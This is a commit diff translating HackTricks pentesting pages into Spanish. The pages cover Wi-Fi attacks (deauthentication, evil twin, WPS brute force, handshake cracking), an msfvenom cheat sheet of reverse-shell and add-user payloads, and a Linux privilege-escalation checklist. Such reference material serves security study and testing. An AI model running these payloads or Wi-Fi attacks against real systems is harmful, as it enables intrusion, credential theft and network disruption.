Translated ['README.md', 'generic-methodologies-and-resources/pentesting

This commit is contained in:
Translator 2024-11-19 12:34:21 +00:00
parent 2b97e80512
commit e429199248
19 changed files with 290 additions and 282 deletions

View file

@ -5,7 +5,7 @@
_Los logos y el diseño en movimiento de Hacktricks son de_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**Bienvenido a la wiki donde encontrarás cada truco/técnica de hacking/lo que he aprendido de CTFs, aplicaciones de la vida real, leyendo investigaciones y noticias.**
**Bienvenido a la wiki donde encontrarás cada truco/técnica de hacking/cualquier cosa que he aprendido de CTFs, aplicaciones de la vida real, leyendo investigaciones y noticias.**
{% endhint %}
Para comenzar, sigue esta página donde encontrarás el **flujo típico** que **debes seguir al realizar pentesting** en una o más **máquinas:**
@ -65,7 +65,7 @@ Obtén acceso hoy:
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bug bounty!
@ -110,9 +110,9 @@ Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign\
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad al proporcionar **servicios de seguridad ofensiva** con un enfoque **moderno**.
WebSec es una **empresa de seguridad todo en uno**, lo que significa que hacen de todo; Pentesting, **Auditorías** de Seguridad, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Externalización de Expertos en Seguridad y mucho más.
WebSec es una **empresa de seguridad todo en uno**, lo que significa que lo hacen todo; Pentesting, **Auditorías** de Seguridad, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Externalización de Expertos en Seguridad y mucho más.
Otra cosa interesante sobre WebSec es que, a diferencia del promedio de la industria, WebSec es **muy confiado en sus habilidades**, hasta el punto de que **garantizan los mejores resultados de calidad**, como se indica en su sitio web "**Si no podemos hackearlo, ¡no pagas!**". Para más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)!
Otra cosa interesante sobre WebSec es que, a diferencia del promedio de la industria, WebSec es **muy confiado en sus habilidades**, hasta el punto de que **garantizan los mejores resultados de calidad**, se indica en su sitio web "**Si no podemos hackearlo, ¡no pagas!**". Para más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)!
Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks.**
@ -140,7 +140,7 @@ Aprende y practica Hacking en GCP: <img src=".gitbook/assets/grte.png" alt="" da
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -15,12 +15,12 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
Participa con contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
@ -30,7 +30,7 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
## Comandos básicos de Wifi
## Wifi comandos básicos
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
@ -75,7 +75,7 @@ From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://g
### wifiphisher
Puede realizar ataques Evil Twin, KARMA y Known Beacons y luego usar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales.
Puede realizar ataques de Evil Twin, KARMA y Known Beacons y luego usar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales.
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
@ -89,7 +89,7 @@ Esta herramienta automatiza ataques de **WPS/WEP/WPA-PSK**. Automáticamente:
* Escanea redes posibles - Y te permite seleccionar la(s) víctima(s)
* Si es WEP - Lanza ataques WEP
* Si es WPA-PSK
* Si es WPS: ataque de Pixie dust y el ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría tardar mucho tiempo). Ten en cuenta que no intenta PIN nulos o PINs generados/base de datos.
* Si es WPS: ataque de Pixie dust y el ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría tardar mucho tiempo). Ten en cuenta que no intenta PIN nulos o PINs generados por base de datos.
* Intenta capturar el PMKID del AP para crackearlo
* Intenta desautenticar a los clientes del AP para capturar un handshake
* Si PMKID o Handshake, intenta hacer fuerza bruta usando las 5000 contraseñas principales.
@ -139,7 +139,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
### Paquetes de Desasociación
**Los paquetes de desasociación**, similares a los paquetes de desautenticación, son un tipo de marco de gestión utilizado en redes Wi-Fi. Estos paquetes sirven para romper la conexión entre un dispositivo (como una laptop o un smartphone) y un punto de acceso (AP). La principal distinción entre desasociación y desautenticación radica en sus escenarios de uso. Mientras que un AP emite **paquetes de desautenticación para eliminar explícitamente dispositivos no autorizados de la red, los paquetes de desasociación se envían típicamente cuando el AP está en proceso de apagado**, reinicio o reubicación, lo que requiere la desconexión de todos los nodos conectados.
**Los paquetes de desasociación**, similares a los paquetes de desautenticación, son un tipo de marco de gestión utilizado en redes Wi-Fi. Estos paquetes sirven para romper la conexión entre un dispositivo (como una laptop o un smartphone) y un punto de acceso (AP). La principal distinción entre desasociación y desautenticación radica en sus escenarios de uso. Mientras que un AP emite **paquetes de desautenticación para eliminar explícitamente dispositivos no deseados de la red, los paquetes de desasociación se envían típicamente cuando el AP está en proceso de apagado**, reinicio o reubicación, lo que requiere la desconexión de todos los nodos conectados.
**Este ataque se puede realizar con mdk4(modo "d"):**
```bash
@ -154,7 +154,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
**En** [**aquí**](https://en.kali.tools/?p=864)**.**
**MODO DE ATAQUE b: Inundación de Beacon**
**MODO DE ATAQUE b: Inundación de Beacons**
Envía tramas de beacon para mostrar APs falsos a los clientes. ¡Esto a veces puede hacer que los escáneres de red e incluso los controladores se bloqueen!
```bash
@ -176,7 +176,7 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**MODO DE ATAQUE p: Sondeo de SSID y Fuerza Bruta**
El sondeo de Puntos de Acceso (APs) verifica si un SSID está correctamente revelado y confirma el rango del AP. Esta técnica, junto con **la fuerza bruta de SSIDs ocultos** con o sin una lista de palabras, ayuda a identificar y acceder a redes ocultas.
El sondeo de Puntos de Acceso (APs) verifica si un SSID está correctamente revelado y confirma el rango del AP. Esta técnica, junto con **fuerza bruta de SSIDs ocultos** con o sin una lista de palabras, ayuda a identificar y acceder a redes ocultas.
**MODO DE ATAQUE m: Explotación de Contramedidas de Michael**
@ -188,7 +188,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**MODO DE ATAQUE e: Inyección de Paquetes EAPOL Start y Logoff**
Inundar un AP con **tramas EAPOL Start** crea **sesiones falsas**, abrumando al AP y bloqueando a los clientes legítimos. Alternativamente, inyectar **mensajes EAPOL Logoff falsos** desconecta forzosamente a los clientes, ambos métodos interrumpen efectivamente el servicio de la red.
Inundar un AP con **tramas EAPOL Start** crea **sesiones falsas**, abrumando al AP y bloqueando a los clientes legítimos. Alternativamente, inyectar **mensajes EAPOL Logoff falsos** desconecta forzosamente a los clientes, ambos métodos interrumpen efectivamente el servicio de red.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
@ -237,7 +237,7 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Este enfoque refinado apunta a los PINs de WPS utilizando vulnerabilidades conocidas:
1. **PINs predescubiertos**: Utiliza una base de datos de PINs conocidos vinculados a fabricantes específicos que utilizan PINs de WPS uniformes. Esta base de datos correlaciona los primeros tres octetos de las direcciones MAC con los PINs probables para estos fabricantes.
2. **Algoritmos de generación de PIN**: Aprovecha algoritmos como ComputePIN y EasyBox, que calculan los PINs de WPS basándose en la dirección MAC del AP. El algoritmo Arcadyan además requiere un ID de dispositivo, añadiendo una capa al proceso de generación del PIN.
2. **Algoritmos de generación de PIN**: Aprovecha algoritmos como ComputePIN y EasyBox, que calculan los PINs de WPS basándose en la dirección MAC del AP. El algoritmo Arcadyan además requiere un ID de dispositivo, añadiendo una capa al proceso de generación de PIN.
### Ataque WPS Pixie Dust
@ -252,7 +252,7 @@ Si no quieres cambiar el dispositivo a modo monitor, o `reaver` y `bully` tienen
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
### Null Pin attack
### Ataque de Null Pin
Algunos sistemas mal diseñados incluso permiten que un **Null PIN** (un PIN vacío o inexistente) otorgue acceso, lo cual es bastante inusual. La herramienta **Reaver** es capaz de probar esta vulnerabilidad, a diferencia de **Bully**.
```bash
@ -278,7 +278,7 @@ Tan roto y sin usar en la actualidad. Solo sepas que _**airgeddon**_ tiene una o
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
@ -338,18 +338,18 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._
_He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de la manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._
### Captura de handshakes
### Captura de handshake
Un ataque a redes **WPA/WPA2** se puede ejecutar capturando un **handshake** y tratando de **crackear** la contraseña **offline**. Este proceso implica monitorear la comunicación de una red específica y **BSSID** en un **canal** particular. Aquí hay una guía simplificada:
1. Identifica el **BSSID**, **canal** y un **cliente conectado** de la red objetivo.
2. Usa `airodump-ng` para monitorear el tráfico de la red en el canal y BSSID especificados, con la esperanza de capturar un handshake. El comando se verá así:
1. Identificar el **BSSID**, **canal** y un **cliente conectado** de la red objetivo.
2. Usar `airodump-ng` para monitorear el tráfico de la red en el canal y BSSID especificados, con la esperanza de capturar un handshake. El comando se verá así:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
3. Para aumentar la probabilidad de capturar un handshake, desconecte momentáneamente al cliente de la red para forzar una re-autenticación. Esto se puede hacer utilizando el comando `aireplay-ng`, que envía paquetes de desautenticación al cliente:
3. Para aumentar la posibilidad de capturar un handshake, desconecte momentáneamente al cliente de la red para forzar una re-autenticación. Esto se puede hacer utilizando el comando `aireplay-ng`, que envía paquetes de desautenticación al cliente:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
@ -377,7 +377,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completado, no detectará el válido._
_Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completo, no detectará el válido._
**pyrit**
```bash
@ -386,21 +386,21 @@ pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
En **configuraciones de WiFi empresarial, encontrarás varios métodos de autenticación**, cada uno proporcionando diferentes niveles de seguridad y características de gestión. Cuando uses herramientas como `airodump-ng` para inspeccionar el tráfico de red, podrías notar identificadores para estos tipos de autenticación. Algunos métodos comunes incluyen:
En **configuraciones de WiFi empresarial, encontrarás varios métodos de autenticación**, cada uno proporcionando diferentes niveles de seguridad y características de gestión. Cuando uses herramientas como `airodump-ng` para inspeccionar el tráfico de la red, podrías notar identificadores para estos tipos de autenticación. Algunos métodos comunes incluyen:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Generic Token Card)**:
* Este método admite tokens de hardware y contraseñas de un solo uso dentro de EAP-PEAP. A diferencia de MSCHAPv2, no utiliza un desafío entre pares y envía contraseñas en texto claro al punto de acceso, lo que plantea un riesgo para ataques de degradación.
2. **EAP-MD5 (Message Digest 5)**:
* Implica enviar el hash MD5 de la contraseña desde el cliente. **No se recomienda** debido a la vulnerabilidad a ataques de diccionario, la falta de autenticación del servidor y la incapacidad de generar claves WEP específicas de la sesión.
* Implica enviar el hash MD5 de la contraseña desde el cliente. **No se recomienda** debido a la vulnerabilidad a ataques de diccionario, falta de autenticación del servidor e incapacidad para generar claves WEP específicas de la sesión.
3. **EAP-TLS (Transport Layer Security)**:
* Utiliza certificados tanto del lado del cliente como del servidor para la autenticación y puede generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones.
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* Proporciona autenticación mutua a través de un túnel encriptado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales.
5. **PEAP (Protected Extensible Authentication Protocol)**:
* Funciona de manera similar a EAP al crear un túnel TLS para comunicación protegida. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel.
* **PEAP-MSCHAPv2**: A menudo se refiere a PEAP, combina el mecanismo de desafío/respuesta vulnerable de MSCHAPv2 con un túnel TLS protector.
* **PEAP-MSCHAPv2**: A menudo referido como PEAP, combina el mecanismo de desafío/respuesta vulnerable de MSCHAPv2 con un túnel TLS protector.
* **PEAP-EAP-TLS (o PEAP-TLS)**: Similar a EAP-TLS pero inicia un túnel TLS antes de intercambiar certificados, ofreciendo una capa adicional de seguridad.
Puedes encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
@ -461,7 +461,7 @@ También podrías realizar este ataque utilizando `eaphammer`:
### Escaneo pasivo
* Los APs transmiten periódicamente tramas de baliza, anunciando su presencia y características, incluido el ESSID del AP a menos que la transmisión esté desactivada.
* Los APs transmiten periódicamente tramas de baliza, anunciando su presencia y características, incluyendo el ESSID del AP a menos que la transmisión esté desactivada.
* Durante el escaneo pasivo, las estaciones escuchan las tramas de baliza. Si el ESSID de una baliza coincide con una entrada en la PNL de la estación, la estación puede conectarse automáticamente a ese AP.
* El conocimiento de la PNL de un dispositivo permite una posible explotación al imitar el ESSID de una red conocida, engañando al dispositivo para que se conecte a un AP malicioso.
@ -606,12 +606,12 @@ O también podrías usar:
**Usando Airgeddon**
`Airgeddon` puede usar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Luego, el atacante puede intentar descifrar la contraseña.\
`Airgeddon` puede usar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Más tarde, el atacante puede intentar descifrar la contraseña.\
`Airgeddon` te ofrece la posibilidad de un **ataque continuo de Evil Twin (ruidoso)** o **solo crear el ataque Evil hasta que alguien se conecte (suave).**
![](<../../.gitbook/assets/image (936).png>)
### Depurando túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins
### Depurando túneles TLS de PEAP y EAP-TTLS en ataques de Evil Twins
_Este método fue probado en una conexión PEAP, pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS_
@ -626,7 +626,7 @@ Agrega una nueva entrada y completa el formulario con estos valores: **Direcció
![](<../../.gitbook/assets/image (687).png>)
Y mira la nueva **pestaña "TLS descifrado"**:
Y mira la nueva **pestaña "Decrypted TLS"**:
![](<../../.gitbook/assets/image (231).png>)
@ -677,13 +677,13 @@ El ataque MANA opera monitoreando tanto las solicitudes de sondeo dirigidas como
```
### Loud MANA
Un **ataque Loud MANA** es una estrategia avanzada para cuando los dispositivos no utilizan sondeos dirigidos o cuando sus Listas de Redes Preferidas (PNL) son desconocidas para el atacante. Funciona sobre el principio de que **los dispositivos en la misma área probablemente compartan algunos nombres de red en sus PNL**. En lugar de responder de manera selectiva, este ataque transmite respuestas de sondeo para cada nombre de red (ESSID) encontrado en las PNL combinadas de todos los dispositivos observados. Este enfoque amplio aumenta la posibilidad de que un dispositivo reconozca una red familiar e intente conectarse al Punto de Acceso (AP) malicioso.
Un **ataque Loud MANA** es una estrategia avanzada para cuando los dispositivos no utilizan sondeo dirigido o cuando sus Listas de Redes Preferidas (PNL) son desconocidas para el atacante. Funciona sobre el principio de que **los dispositivos en la misma área probablemente compartan algunos nombres de red en sus PNL**. En lugar de responder de manera selectiva, este ataque transmite respuestas de sondeo para cada nombre de red (ESSID) encontrado en las PNL combinadas de todos los dispositivos observados. Este enfoque amplio aumenta la posibilidad de que un dispositivo reconozca una red familiar e intente conectarse al Punto de Acceso (AP) malicioso.
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Known Beacon attack
Cuando el **Loud MANA attack** puede no ser suficiente, el **Known Beacon attack** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, recorriendo una lista de ESSIDs potenciales** derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción `--loud` para un intento más agresivo de atrapar dispositivos.
Cuando el **Loud MANA attack** puede no ser suficiente, el **Known Beacon attack** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, recorriendo una lista de ESSIDs potenciales** derivada de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de hacer coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción `--loud` para un intento más agresivo de atrapar dispositivos.
Eaphammer implementó este ataque como un MANA attack donde todos los ESSIDs dentro de una lista son cargados (también podrías combinar esto con `--loud` para crear un ataque Loud MANA + Known beacons):
```bash
@ -691,7 +691,7 @@ Eaphammer implementó este ataque como un MANA attack donde todos los ESSIDs den
```
**Ataque de Beacon Burst Conocido**
El **ataque de Beacon Burst Conocido** implica **la transmisión rápida de tramas de beacon para cada ESSID listado en un archivo**. Esto crea un entorno denso de redes falsas, aumentando considerablemente la probabilidad de que los dispositivos se conecten al AP malicioso, especialmente cuando se combina con un ataque MANA. Esta técnica aprovecha la velocidad y el volumen para abrumar los mecanismos de selección de red de los dispositivos.
El **ataque de Beacon Burst Conocido** implica **la transmisión rápida de tramas de beacon para cada ESSID listado en un archivo**. Esto crea un entorno denso de redes falsas, aumentando enormemente la probabilidad de que los dispositivos se conecten al AP malicioso, especialmente cuando se combina con un ataque MANA. Esta técnica aprovecha la velocidad y el volumen para abrumar los mecanismos de selección de red de los dispositivos.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -714,7 +714,7 @@ Estos métodos, particularmente la entrada de PIN, son susceptibles a las mismas
### EvilDirect Hijacking
**EvilDirect Hijacking** es un ataque específico de Wi-Fi Direct. Refleja el concepto de un ataque Evil Twin pero se dirige a las conexiones Wi-Fi Direct. En este escenario, un atacante se hace pasar por un propietario de grupo legítimo con el objetivo de engañar a los dispositivos para que se conecten a una entidad maliciosa. Este método se puede ejecutar utilizando herramientas como `airbase-ng` especificando el canal, ESSID y dirección MAC del dispositivo suplantado:
**EvilDirect Hijacking** es un ataque específico de Wi-Fi Direct. Refleja el concepto de un ataque Evil Twin pero se dirige a las conexiones Wi-Fi Direct. En este escenario, un atacante se hace pasar por un propietario de grupo legítimo con el objetivo de engañar a los dispositivos para que se conecten a una entidad maliciosa. Este método se puede ejecutar utilizando herramientas como `airbase-ng` especificando el canal, ESSID y la dirección MAC del dispositivo suplantado:
## References
@ -731,7 +731,7 @@ Estos métodos, particularmente la entrada de PIN, son susceptibles a las mismas
TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -67,6 +67,8 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
{% endcode %}
### Crear Usuario
{% code overflow="wrap" %}
@ -81,6 +83,8 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
{% endcode %}
### **Ejecutar Comando**
{% code overflow="wrap" %}
@ -121,6 +125,8 @@ msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
{% endcode %}
### SunOS (Solaris)
{% code overflow="wrap" %}
@ -139,7 +145,7 @@ msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ma
```
{% endcode %}
### **Shell de Enlace**
### **Shell de enlace**
{% code overflow="wrap" %}
```bash
@ -151,7 +157,7 @@ msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho
### **PHP**
#### Shell Inverso
#### Reverse shel**l**
{% code overflow="wrap" %}
```bash
@ -181,7 +187,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f r
```
{% endcode %}
### GUERRA
### WAR
#### Shell Inversa
@ -209,13 +215,15 @@ msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw >
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
{% endcode %}
### **Bash**
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
@ -240,7 +248,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -15,20 +15,20 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
### **Mejor herramienta para buscar vectores de escalación de privilegios locales en Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
@ -41,7 +41,7 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
* [ ] **Verificar** si la [**versión de sudo** es vulnerable](privilege-escalation/#sudo-version)
* [ ] [**Dmesg** verificación de firma fallida](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Más enumeración del sistema ([fecha, estadísticas del sistema, información de CPU, impresoras](privilege-escalation/#more-system-enumeration))
* [ ] [Enumerar más defensas](privilege-escalation/#enumerate-possible-defenses)
* [ ] [**Enumerar más defensas**](privilege-escalation/#enumerate-possible-defenses)
### [Unidades](privilege-escalation/#drives)
@ -57,7 +57,7 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
### [Procesos](privilege-escalation/#processes)
* [ ] ¿Hay algún **software desconocido en ejecución**?
* [ ] ¿Hay algún software en ejecución con **más privilegios de los que debería tener**?
* [ ] ¿Hay algún software ejecutándose con **más privilegios de los que debería tener**?
* [ ] Buscar **exploits de procesos en ejecución** (especialmente la versión en ejecución).
* [ ] ¿Puedes **modificar el binario** de algún proceso en ejecución?
* [ ] **Monitorear procesos** y verificar si algún proceso interesante se está ejecutando con frecuencia.
@ -65,10 +65,10 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
### [¿Tareas programadas/Cron?](privilege-escalation/#scheduled-jobs)
* [ ] ¿El [**PATH**](privilege-escalation/#cron-path) está siendo modificado por algún cron y puedes **escribir** en él?
* [ ] ¿Se está modificando el [**PATH**](privilege-escalation/#cron-path) por algún cron y puedes **escribir** en él?
* [ ] ¿Algún [**comodín**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) en un trabajo cron?
* [ ] ¿Algún [**script modificable**](privilege-escalation/#cron-script-overwriting-and-symlink) está siendo **ejecutado** o está dentro de una **carpeta modificable**?
* [ ] ¿Has detectado que algún **script** podría estar o está siendo [**ejecutado** muy **frecuentemente**](privilege-escalation/#frequent-cron-jobs)? (cada 1, 2 o 5 minutos)
* [ ] ¿Algún [**script modificable**](privilege-escalation/#cron-script-overwriting-and-symlink) se está **ejecutando** o está dentro de una **carpeta modificable**?
* [ ] ¿Has detectado que algún **script** podría estar o se está [**ejecutando** muy **frecuentemente**](privilege-escalation/#frequent-cron-jobs)? (cada 1, 2 o 5 minutos)
### [Servicios](privilege-escalation/#services)
@ -92,7 +92,7 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
### [Red](privilege-escalation/#network)
* [ ] Enumerar la red para saber dónde estás
* [ ] Enumera la red para saber dónde estás
* [ ] **¿Puertos abiertos a los que no pudiste acceder antes** de obtener una shell dentro de la máquina?
